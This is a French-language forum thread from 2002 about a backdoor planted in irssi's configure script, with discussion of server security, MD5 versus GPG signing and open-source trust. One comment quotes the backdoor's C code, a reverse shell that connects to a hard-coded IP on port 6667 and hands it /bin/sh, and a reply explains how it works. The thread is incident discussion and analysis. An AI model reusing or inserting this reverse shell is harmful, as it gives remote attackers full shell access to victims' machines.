La modification porterait sur le script configure d'irssi. Ce dernier ouvrirait une connexion entre votre box et une machine distance, par le biais de laquelle il serait possible de s'infiltrer dans votre babasse.
La malversation serait en place depuis plus d'un mois. Si vous avez compilé irssi durant cette periode, il est recommandé de rechercher "SOCK_STREAM" dans le script, afin de vérifier si vous en avez été victime.
Le site d'irssi semble confirmer la chose.
Aller plus loin
- le site d'irssi (11 clics)
# c'est gros
Posté par lorill (site web personnel) . Évalué à 10.
comment ca peut arriver ce genre de chose ?
faut modifier le script, refaire les archives et les mettre sur le site officiel... pas evident sans être dans l'equipe de dev...
Bref, c'est louche.
[^] # Re: c'est gros
Posté par zeDek . Évalué à 10.
Enfin j'utilise pas irsii donc je m'en fous mais ça me choque quand même surtout que si je me souviens bien, à une époque les développeurs offraient une récompense à celui qui découvrirait une faille de sécurité dans leur soft :)
Bref, comme toi je dis : c'est louche cette affaire.
[^] # Re: c'est gros
Posté par Pascal Terjan (site web personnel) . Évalué à 10.
[^] # Re: c'est gros
Posté par zeDek . Évalué à 10.
Enfin je sais pas trop ce qui est mieux :)
[^] # Re: c'est gros
Posté par tfing . Évalué à 10.
Tout ceux qui ont chopé irssi directement à partir des binaires sont immunisés. Il semblerait que les archives de la glib qui étaient sur le même serveur (irssi a besoin de la glib) aient subit un sort identique.
L'intrus avait aussi modifié les md5, ce qui avait rendu plus difficile la détection. L'auteur a immédiatement décider de désormais signer ses archives avec gpg.
troll véridique : le serveur sur lequel s'est produit l'intrusion tourne sous OpenBSD.
plus d'infos ici : http://real.irssi.org/?page=backdoor(...)
[^] # Re: c'est gros
Posté par feelgoord . Évalué à 4.
Je sens que çà va troller dur sur irc ce soir !
[^] # Re: c'est gros
Posté par earxtacy . Évalué à 10.
The site irssi.org is running Apache/1.3.20 (Unix) DAV/1.0.3 PHP/4.0.5 mod_perl/1.25 on FreeBSD
quel est le site qui contient les softs ?
[^] # Re: c'est gros
Posté par tfing . Évalué à 10.
le nouveau main.irssi.org affiche désormais : Server: Apache/1.3.24 (Unix) Debian GNU/Linux PHP/4.1.2
--
tfing, éleveur de trolls depuis plus de 20 ans
[^] # Re: c'est gros
Posté par Neryel . Évalué à -10.
[^] # OpenBSD vulnérable !
Posté par Lucas . Évalué à 10.
A noter qu'avec le système de ports des BSD libres, on compile toujours en root, ce qui augmente le risque avec ce genre de backdoors.
[^] # Re: OpenBSD vulnérable !
Posté par j . Évalué à 10.
Tu as juste a mettre SUDO=sudo dans ton /etc/mk.conf pour ne jamais avoir a etre root pour compiler (seules les operations d'installation vont etre temporairement realisees sous 'root') .
[^] # Re: OpenBSD vulnérable !
Posté par Lucas . Évalué à 10.
Pour le faire, il faudrait aussi s'amuser à changer systématiquement les permissions dans tout le ports tree.
A noter que dans l'exemple sur http://www.openbsd.org/faq/faq8.html#Ports(...) , ils compilent "sous root".
[^] # Re: OpenBSD vulnérable !
Posté par j . Évalué à 10.
[^] # Re: OpenBSD vulnérable !
Posté par j . Évalué à 10.
Seul 'make install' en a besoin.
[^] # Re: OpenBSD vulnérable !
Posté par Anonyme . Évalué à 9.
[^] # Re: OpenBSD vulnérable !
Posté par Lucas . Évalué à 10.
Le plus simple est de chown tout /usr/src & /usr/ports, pour toujours pouvoir compiler avec ton compte habituel. Ou alors, d'utiliser le groupe wsrc, qui est fait pour ça, et de chgrp wsrc /usr/src /usr/ports, et de donner les droits en écriture au groupe.
[^] # Re: OpenBSD vulnérable !
Posté par Anonyme . Évalué à 4.
[^] # Re: OpenBSD vulnérable !
Posté par Jean-Yves B. . Évalué à 6.
Par défaut on installe des paquets binaires avec pkg_add.
[^] # Re: c'est gros
Posté par j . Évalué à -4.
> produit l'intrusion tourne sous OpenBSD.
Non, sous FreeBSD.
[^] # Re: c'est gros
Posté par tfing . Évalué à 10.
et main.irssi.org tournait jusqu'à aujourd'hui sous OpenBSD
enfin je dis ça d'après ce que j'ai lu sur irc sur #irssi (cras est l'auteur de irssi) :
14:40 < Han> cras: Howbout installing OpenBSD as the server OS? ;)
14:42 <@cras> han: main.irssi.org is openbsd.
maintenant, il semble que main.irssi.org tourne sous debian
[^] # Re: c'est gros
Posté par Pierre Tramonson . Évalué à 1.
[^] # Re: c'est gros
Posté par Jean-Yves B. . Évalué à 10.
Bof. À part le gag de la modif du configure qui semble être une première ... pour innover maintenant il va falloir inclure un script perl dans un Makefile :)
Il suffit d'avoir les droits suffisants pour modifier les fichiers sur le serveur FTP.
Ça peut venir de la mauvaise configuration d'a peu près n'importe quoi. Où d'une faille de n'importe quel logiciel ayant ce type de droits (le logiciel de mirroring ?).
Bref, ça arrive.
Et pour ceux qui aiment débattre sur les rapports netcraft, vous devriez être habitués aux dns dynamiques, non ?
yaourt% /usr/sbin/dig www.irssi.org in a
; <<>> DiG 2.2 <<>> www.irssi.org in a
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37000
;; flags: qr rd ra; Ques: 1, Ans: 6, Auth: 3, Addit: 3
;; QUESTIONS:
;; www.irssi.org, type = A, class = IN
;; ANSWERS:
www.irssi.org. 85703 CNAME irssi.org.
irssi.org. 976 A 195.139.52.131
irssi.org. 976 A 193.166.66.244
irssi.org. 976 A 209.228.2.141
irssi.org. 976 A 62.236.255.178
irssi.org. 976 A 212.204.249.162
;; AUTHORITY RECORDS:
irssi.org. 74658 NS ns3.ichilton.co.uk.
irssi.org. 74658 NS name1.juhas.net.
irssi.org. 74658 NS ns.irssi.org.
;; ADDITIONAL RECORDS:
ns3.ichilton.co.uk. 57849 A 216.28.122.60
name1.juhas.net. 87376 A 80.83.5.62
ns.irssi.org. 69269 A 212.149.71.178
;; Total query time: 14 msec
;; FROM: yaourt to SERVER: default -- 127.0.0.1
;; WHEN: Sat May 25 22:22:22 2002
;; MSG SIZE sent: 31 rcvd: 260
# C'est quoi irsii ?
Posté par CopainJack (site web personnel, Mastodon) . Évalué à 10.
Ok, je pourrais aller le site d'irsii et cliquer sur About ou je decouvrirai que ce soft est un client irc modulaire dont les points forts sont:
- Security
- Modularity
(toujours d'apres le About)
Voila, juste pour dire qu'il n'est pas inutile de preciser ce qu'est le soft quand on en parle dans une news ;-)
[^] # Re: C'est quoi irsii ?
Posté par feelgoord . Évalué à 8.
Merci de me remettre dans le droit chemin :o)
# hum hum la c'est gros qd meme
Posté par woof . Évalué à -9.
(/me décapite CMoi)
[^] # Re: hum hum la c'est gros qd meme
Posté par Pascal Terjan (site web personnel) . Évalué à 1.
[^] # Re: hum hum la c'est gros qd meme
Posté par woof . Évalué à -1.
merci d'avoir corrigé parce-que la ca me faisait friser les cheveux :)
ciao!
[^] # Re: hum hum la c'est gros qd meme
Posté par feth . Évalué à -4.
-2(S+ 1/2 R)
pour désigner ce client IRC.
-1, c'est la matin
# ça fout les boules ¬_¬ ...
Posté par Schneider Dark . Évalué à 10.
Bon,sérieusement,ça fait peur un peu ça,le cracker doit être assez fort pour passer au travers de OpenBSD...
Pas un monstre,mais fort quand même :(
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Jean-Yves B. . Évalué à 10.
Bof, 'faut voir ce que l'admin avait fait derrière.
Il n'existe pas de bouclier magique.
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Troy McClure (site web personnel) . Évalué à 10.
[^] # Re: ça fout les boules ¬_¬ ...
Posté par William Steve Applegate (site web personnel) . Évalué à 10.
Je me demande en fait si, à force de donner du rétentissement aux affaires comme celle de « Mafiaboy » ou de Kevin Mitnick, de les « romanticiser » et de les monter en épingle, les médias n'ont pas transformé ce genre de personnages de petits délinquants minables en « incompris martyrs du système »... D'un autre côté, la justice réagit en permanence de manière assez illogique (ex : la dernière affaire Kitetoa) et les législateurs aussi (là où on aurait dû durcir la législation sur les dégâts dûs au piratages, on vient nous parler de nous interdire un cryptage valable !). Tout ceci me donne la peu engageante impression que ni ceux qui font les lois, ni ceux qui les appliquent, ni l'opinion publique n'ont conscience des vrais problèmes auxquels on est confrontés... Pas très joyeux tout ça :-(
(hmmmm, bon, c'est quand même un peu HS mon laïus : -1)
Envoyé depuis mon PDP 11/70
[^] # Re: ça fout les boules ¬_¬ ...
Posté par BeN . Évalué à 10.
faut absolument que les utilisateurs de ce soft verifient leur becane
ou alors va y avoir du ddos dans l'air !!
j'attend aussi la reaction de pasBill sur le sujet !
pas mal de ses detracteurs lui ont fait mainte fois remarquer
les vertus du developpement open sources qui vient quand meme d'en prendre
un coup dans les dents !!
bon ok, c'est un cas isolé et ça se reproduira plus, mais quand meme !
ça fou les boules, c sur !!
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Jar Jar Binks (site web personnel) . Évalué à 10.
À part qu'ils auraient sûrement mis beaucoup plus de temps à s'en rendre compte, et qu'après coup ils auraient juste parlé d'une correction de bug...
[^] # Re: ça fout les boules ¬_¬ ...
Posté par pasBill pasGates . Évalué à 4.
Ca c'est un petit desavantage de l'open source pour ce genre de cas, acceder aux sources pour les modifier et enormement plus complique dans le cas d'un soft proprio car les sources sont souvent gardees bien a l'abri du fait que les auteurs ne veulent pas le partager.
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Aza . Évalué à 4.
C'est un désavantage et un avantage. le désavantage c'est effectivement qu'on peut chercher des failles dans le source, mais l'avantage c'est que beaucoup plus de gens peuvent tenter de le corriger si besoin est.
Je te rappelle que le fait de ne pas avoir les sources n'empeche aucunement de trouver des trous de sécu et que l'on dépend de l'editeur pour corriger les failles.
Par exemple, au hasard, rien que sur IE, il sont ou les correctifs pour les failles décrites ici :
http://jscript.dk/unpatched/(...)
Et je parle même pas des failles connues sous windows ou Office....
[^] # Re: ça fout les boules ¬_¬ ...
Posté par BeN . Évalué à 4.
Que les sources soient sur un server public peut engendrer ce genre de probleme que les soft proprio non pas car leurs sources sont sur un reseau a part bien proteger ...
Quoique dans le cas present c'est plus la securité du serveur qui hebergeait les sources qui est plus a remettre en cause ...
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Aza . Évalué à 2.
a priori même dans un projet propriétaire, on ne laisse pas un développeur mettre n'importe quoi sur l'arbre : il faut une vérification, au moins qu'un autre type relise le code. Ce boulot doit être fait que le projet soit libre ou non.
>Quoique dans le cas present c'est plus la securité du serveur qui hebergeait les sources qui est plus a remettre en cause ...
Certes.
[^] # Re: ça fout les boules ¬_¬ ...
Posté par Pierre Tramo (site web personnel) . Évalué à 2.
Heureusement que c'était sur un serveur interne auquel la plupart des employés n'ont pas accés.
[^] # Re: ça fout les boules ¬_¬ ...
Posté par pasBill pasGates . Évalué à 0.
L'avantage ici est que seuls les developpeurs ont acces aux sources, et d'habitude eux ils savent qu'il faut pas clicker sur kournikova.jpg.exe
# On pourrait imaginer pire.
Posté par lhardy philippe (site web personnel, Mastodon) . Évalué à 10.
si ceux qui publient les sources vérifient bien tous les ajouts (et encore
certains trous ne sont simplement que des bugs qui ne sont pas toujours
évidents).
En plus la personne qui fait ce genre de modification doit être connue.
Je ne connais personne qui relise tout le code pour voir s'il y a
quelquechose de louche dedans avant la compilation.
Par contre avec l'accès aux sources une faillle detecté il est aisé de
trouver où comment et parfois par qui elle a été introduite.
Et on peut aussi voir si elle a été introduite par erreur ou volontairement.
Dans le cas d'irssi la personne qui a modifié les sources n 'est
évidemment pas passée par le mécanisme classique de soumission de patche
ou par CVS.
En plus le trou est réalisé en quelques lignes de code C, perdu dans les
lignes de C introduites dans le configure pour la detection du support de
fonctionnalités par le compilo...
Le plus fort c'est que ce trou effectue une connection directe à une adresse
IP codée en dur dans le fichier !
C'est assez gros, ce serait intéressant de savoir à qui appartient cette
adresse. Ce n'est évidemment pas forcément celui qui a introduit le code.
C'est peut-être juste une opération de discrédit.
Et c'est pourquoi la signature des fichiers est très importante, toute
alteration du contenu pourra etre detecté par l'utilisateur.
Encore faut-il que celui-ci prenne la peine de faire la vérification !
Imaginons maintenant que quelqu'un fasse ce genre de malversation
directement au niveau d'autoconf de la machine de compilation ou pire
encore des sources d'autoconf !
Et donc c'est l'utilisateur d'autoconf qui virus son propre config
(génèré a partir de config.in).
Le virus est introduit alors directement par la personne qui prépare
le package et il sera checksumé, signé et tout et tout !
Tout système de sécurite aussi perfectionné qu'il soit repose un moment
ou l'autre sur de l'humain.
[^] # Re: On pourrait imaginer pire.
Posté par William Steve Applegate (site web personnel) . Évalué à 10.
> adresse. Ce n'est évidemment pas forcément celui qui a introduit le code.
> C'est peut-être juste une opération de discrédit.
Bah, moi j'ai voulu tester ce matin, mais c'est pas très concluant :
$ host 209.164.15.215
215.15.164.209.in-addr.arpa. domain name pointer datacenterops.com.
215.15.164.209.in-addr.arpa. domain name pointer ns1.datacenterops.com.
215.15.164.209.in-addr.arpa. domain name pointer www.datacenterops.com.
215.15.164.209.in-addr.arpa. domain name pointer mail.datacenterops.com.
215.15.164.209.in-addr.arpa. domain name pointer srv01.datacenterops.com.
La page qu'on obtient en allant faire un tour là-dessus semble être une page par défaut...
La seconde IP, elle, donne ceci :
$ host 204.120.36.206
206.36.120.204.in-addr.arpa. domain name pointer bud.indirect.com.
Celui-ci me ferme la socket au nez, et la page d'accueil d'indirect.com ne veut pas répondre.
Bref, on n'est pas plus avancé. Pour ce qu'on en sait, le pirate pourrait aussi bien avoir loué les machines en question (par exemple sous un faux nom) histoire qu'il soit plus difficile de remonter jusqu'à lui. Ou alors, ça pourrait effectivement être pour discréditer quelqu'un. Mais qui ? Le premier domaine semble appartenir à un particulier Californien, le second à ce qui ressemble à un hébergeur (peut-être un FAI) en Arizona, et perso je connaissais ni l'un ni l'autre...
Envoyé depuis mon PDP 11/70
# La morale de cette histoire....
Posté par Maxime Ritter (site web personnel) . Évalué à 10.
Dans le futur, pour éviter un accident de ce type :
- Tous les fichiers (sources ou binaires) devront être signés avec un clef GPG.
- Il faudra vérifier systématiquement la signature. Suffit de rajouter 3 fois rien dans les ports des BSDs (ou pour les binaires dans RPMs ou dppkg).
- Ca nous fait raison de plus de veiller aux lois sur la crypto.
[^] # Re: La morale de cette histoire....
Posté par kael . Évalué à -10.
[^] # Re: La morale de cette histoire....
Posté par Maxime Ritter (site web personnel) . Évalué à 10.
La "signature" érronée était une clef MD5, or MD5 sert a vérifier que le fichier a été téléchargé complètement et que c'est le bon. Mais tu peut facilement générer aussi le fichier MD5 (puisque n'importe qui peut la créer) correspondant au mauvais fichier, et ainsi faire croire que c'est le bon.
A l'inverse avec GPG, pour signer il faut connaitre ta clef privée. Or la clef privée, tu la conserve précieusement, car elle prouve ton identité.
Pour GPG tu peut aller voir la doc de Léto :http://matrix.samizdat.net/crypto/gpg_intro/index.html(...)
# Oui mais encore...
Posté par Richard Hébert (site web personnel) . Évalué à 10.
int s;
struct sockaddr_in sa;
switch(fork()) { case 0: break; default: exit(0); }
if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
exit(1);
}
/* HP/UX 9 (%@#!) writes to sscanf strings */
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(6667);
sa.sin_addr.s_addr = inet_addr("204.120.36.206");
if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
exit(1);
}
dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
to always fail with ENOSYS. Some functions are actually named
something starting with __ and the normal name is an alias. */
{ char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }
...et le résultat :
"What did the backdoor do? How to get rid of it?
The backdoored configure script spawns a new shell,
connects to some server and allows full shell access to it.
So, it might have done anything."
( source: http://main.irssi.org/?page=backdoor(...) )
Donc, le port 6667 est utilisé, mais dans quel sens ?
Tant qu'a servir d'exemple, j'aimerais comprendre ce que l'on risque en cas d'infection ( comment ça se passe, quoi )
[^] # Re: Oui mais encore...
Posté par pas_moi . Évalué à 10.
Et bien, le monsieur crée une conection vers 204.120.36.206:6667 puis redirige STDIN, STDOUT et STDERR vers la socket ouverte et remplace le processus courant par un "/bin/sh"...
Résultat: si la machine en 204.120.36.206 envoie la chaîne "rm /" une fois la connexion établie, cette commmande est lancée sur la machine avec les droits de l'utilisateur actuel.
# freebsd is good
Posté par th0m ask me . Évalué à -4.
* If you installed Irssi from binary, you are safe.
* Debian sources were not backdoored.
* Nightly source snapshots do not seem to be backdoored.
* CVS does not seem to be backdoored.
* irssi-0.8.4.tar.bz2 file was not backdoored, only the .gz one
* FreeBSD port was not backdoored, as it used the .bz2 file
* Irssi/SILC client was not backdoored
* If you let Irssi download the GLib sources from irssi.org, they are
backdoored (the same configure thing as with Irssi)
* If you still have the sources, check with grep SOCK_STREAM configure.
If it returns any lines, it is backdoored.
* md5 checksum of originally released irssi-0.8.4.tar.gz is
57bf9d89638be3d377be211f0b0d7049. This is also the one of 0.8.4a.
troollll power.
# Certes mais bon...
Posté par Aza . Évalué à -5.
Sinon je me met a poster toutes failles qui sortent sur bugtraq tiens ;-)
ps : rien à foutre des xp.
[^] # Re: Certes mais bon...
Posté par martinc . Évalué à 6.
Il faut donc que les contributeurs et coordinateur de ces projets commencent a prendre concience qu'il faut un système de contrôle de l'autenticité des sources.
Et c'est une preuve supplémentaire que la crypto doit être libérée afin que l'on dispose facilement des outils d'autentification et de vérification.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.